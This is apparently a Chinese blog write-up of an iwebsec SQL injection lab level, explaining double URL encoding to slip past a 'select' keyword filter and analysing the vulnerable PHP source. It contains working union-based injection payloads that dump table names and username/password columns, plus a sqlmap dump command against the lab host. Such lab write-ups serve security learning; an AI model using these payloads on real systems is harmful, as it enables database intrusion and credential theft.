01、题目分析
依旧是对关键词进行了过滤,除了双写大小写等过滤方法还可以采用双重url编码,
在 SQL 注入攻击中,双层 URL 编码绕过机制是一种黑客利用 URL 编码的漏洞绕过安全检查的手法。原始的 URL 编码是将特殊字符转换成 %
后面跟着它的 ASCII 值的十六进制表示。例如,'
被编码为 %27
,"
被编码为 %22
。
然而,某些 Web 应用程序在接收到 URL 编码值时,会自动对它进行解码,然后再进行一次处理。这意味着攻击者可以使用双层 URL 编码来绕过输入过滤和验证机制。
攻击者可以首先将攻击字符串进行一次 URL 编码,然后将编码后的值再次进行 URL 编码。这样,第一层的编码将被解码,然后第二层的编码也将被解码。这样做的目的是让关键的特殊字符在第二次解码时恢复成原始状态。
例如,假设原始的注入尝试是:' OR 1=1--
。这个字符串经过一次 URL 编码后变成 %27%20OR%201%3D1--
。然后,攻击者将这个编码后的字符串再次进行 URL 编码,变成 %2527%2520OR%25201%253D1--
。当服务器尝试解码这个值时,第一次解码会还原为 %27%20OR%201%3D1--
,然后第二次解码会得到原始的注入字符串 ' OR 1=1--
。
02、手工注入
这个依旧是把select关键词给过滤了,那么我们可以采用双层url编码进行绕过过滤,但是众所周知,常规的url编码只会编码空格啥的,一般不会编码字母,那么select怎么进行url编码呢,这时就可以先把字母转为ASCII表,然后再把ASCII表的十进制结果转为十六进制,然后前面加上百分号即可,一下附上url编码字母脚本
def url_encode_letter(letter):
# 将字符转换为 ASCII 表中对应的数字
ascii_code = ord(letter)
# 将数字转换为十六进制形式,并去掉前缀 '0x'
hex_code = hex(ascii_code)[2:]
# 在十六进制值前面加上百分号
encoded_letter = '%' + hex_code
return encoded_letter
def url_encode_text(text):
# 对输入的文本中的每个字母调用 url_encode_letter() 函数,并将编码后的字母连接起来形成最终的编码字符串
encoded_text = ''.join(url_encode_letter(letter) for letter in text)
return encoded_text
# 示例用法
text = "select"
encoded_text = url_encode_text(text)
print(encoded_text)
输出结果%73%65%6c%65%63%74
二次编码结果%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34
但是我们知道,对关键字进行过滤,我们并不需要全部编码,只需要编码select的一部分即可,那么我们编码字母l即可
输出结果:%6c
二次编码结果:%25%36%63
那么我们就可以将select替换成se%25%36%63ect,来实现注入,需要注意的是,一般在源码中进行编码的时候,单引号,双引号,\,null都会别特殊处理为\’,\’’,\,\0,因此我们对于这些字符也需要重新编码,对于单引号,替换成%2527
?id=1 order by 3
-- id=-1就是不显示内容
id=-1 union se%25%36%63ect 1,2,3
?id=-1 union= se%25%36%63ect 1,2,database()
?id=-1 union se%25%36%63ect 1,2,group_concat(table_name) from information_schema.tables where table_schema=%2527iwebsec%2527
?id=-1 union se%25%36%63ect 1,2,group_concat(column_name) from information_schema.columns where table_name=%2527sqli%2527
?id=-1 union se%25%36%63ect 1,2,group_concat(concat_ws('~',username,password)) from iwebsec.sqli
02、工具注入
直接一把梭哈
python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/10.php?id=1" --current-db --dump --batch
03、代码分析
<?php
if(isset($_GET['id'])){ // 检查是否存在GET请求的 'id' 参数
if (preg_match('/select/', $_GET["id"])) { // 使用正则表达式检查 'id' 参数中是否包含 "select" 关键字
die("ERROR"); // 如果包含 "select" 关键字,则终止脚本执行并输出 "ERROR" 消息
}else{
$id = urldecode($_GET['id']); // 解码并存储 'id' 参数
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1"; // 构建 SQL 查询语句,从 'user' 表中根据 'id' 查询用户信息
$result=mysql_query($sql); // 执行 SQL 查询语句并将结果存储在 $result 变量中
}
}else{
exit(); // 如果不存在 'id' 参数,则终止脚本执行
}
if ($result) { // 如果查询结果成功
?>
<table class='table table-striped'> // 输出 HTML 表格的起始标签,并设置 class 属性
<tr><th>id</th><th>name</th><th>age</th></tr> // 表头行,显示 'id'、'name' 和 'age' 列的标题
<?php
while ($row = mysql_fetch_assoc($result)) { // 使用 mysql_fetch_assoc 逐行获取查询结果中的数据
echo "<tr>"; // 输出 HTML 表格的行标签的起始标签
echo "<td>".$row['id']."</td>"; // 输出当前行的 'id' 列数据
echo "<td>".$row['username']."</td>"; // 输出当前行的 'username' 列数据
echo "<td>".$row['password']."</td>"; // 输出当前行的 'password' 列数据
echo "</tr>"; // 输出 HTML 表格的行标签的结束标签
}
echo "</table>"; // 输出 HTML 表格的结束标签
}
else
{
// echo '<font color= "#FFFFFF">'; // 输出白色字体的起始标签(被注释掉)
print_r(mysql_error()); // 输出 MySQL 错误信息
// echo "</font>"; // 输出白色字体的结束标签(被注释掉)
}
require_once '../footer.php'; // 引入 footer.php 文件
?>
标签:10,编码,url,text,36%,25%,sql,id
From: https://www.cnblogs.com/bdrwmy/p/17641462.html